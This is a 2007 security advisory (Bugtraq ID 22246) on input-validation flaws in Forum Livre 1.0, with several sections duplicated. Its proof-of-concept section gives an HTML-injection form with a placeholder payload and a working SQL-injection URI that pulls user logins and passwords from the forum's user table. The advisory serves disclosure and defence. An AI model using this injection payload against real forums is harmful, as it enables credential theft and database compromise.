Forum Livre Multiple Input Validation Vulnerabilities
BID:22246
Info
Forum Livre Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 22246 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 25 2007 12:00AM |
| Updated: | Jan 26 2007 07:59PM |
| Credit: | Ajann is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Codigo Livre Forum Livre 1.0 |
| Not Vulnerable: | |
Discussion
Forum Livre Multiple Input Validation Vulnerabilities
Forum Livre is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and an HTML-injection issue, because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
Forum Livre is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and an HTML-injection issue, because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
Exploit / POC
Forum Livre Multiple Input Validation Vulnerabilities
To exploit an HTML-injection issue:
An attacker can exploit this issue via a web client.
An HTTP POST example has been provided:
http://www.example.com
<form method="POST" action="http://[TARGET]/[path]/busca2.asp">
<input type="text" name="palavra" value="[#]XSS HERE[#]">
<input type="radio" value="all" name="tipo" checked>
<input type="radio" value="some" name="tipo">
<select size="1" name="forum">
<option value="">Todos os foruns</option>
<option value="">Forum ComCatz</option>
<input type="submit" value="Investigar" name="B1">
</form>
To exploit a SQL-injection issue:
An attacker can exploit this issue via a web client.
An example URI has been provided:
http://www.example.com/info_user.asp?user=-1'union%20select%200,0,0,loginu,senhau,0,0,0,0,0,0%20from%20tusuario
To exploit an HTML-injection issue:
An attacker can exploit this issue via a web client.
An HTTP POST example has been provided:
http://www.example.com
<form method="POST" action="http://[TARGET]/[path]/busca2.asp">
<input type="text" name="palavra" value="[#]XSS HERE[#]">
<input type="radio" value="all" name="tipo" checked>
<input type="radio" value="some" name="tipo">
<select size="1" name="forum">
<option value="">Todos os foruns</option>
<option value="">Forum ComCatz</option>
<input type="submit" value="Investigar" name="B1">
</form>
To exploit a SQL-injection issue:
An attacker can exploit this issue via a web client.
An example URI has been provided:
http://www.example.com/info_user.asp?user=-1'union%20select%200,0,0,loginu,senhau,0,0,0,0,0,0%20from%20tusuario
Solution / Fix
Forum Livre Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].
References
Forum Livre Multiple Input Validation Vulnerabilities
References:
References:
- Codigo Livre Homepage (Codigo Livre)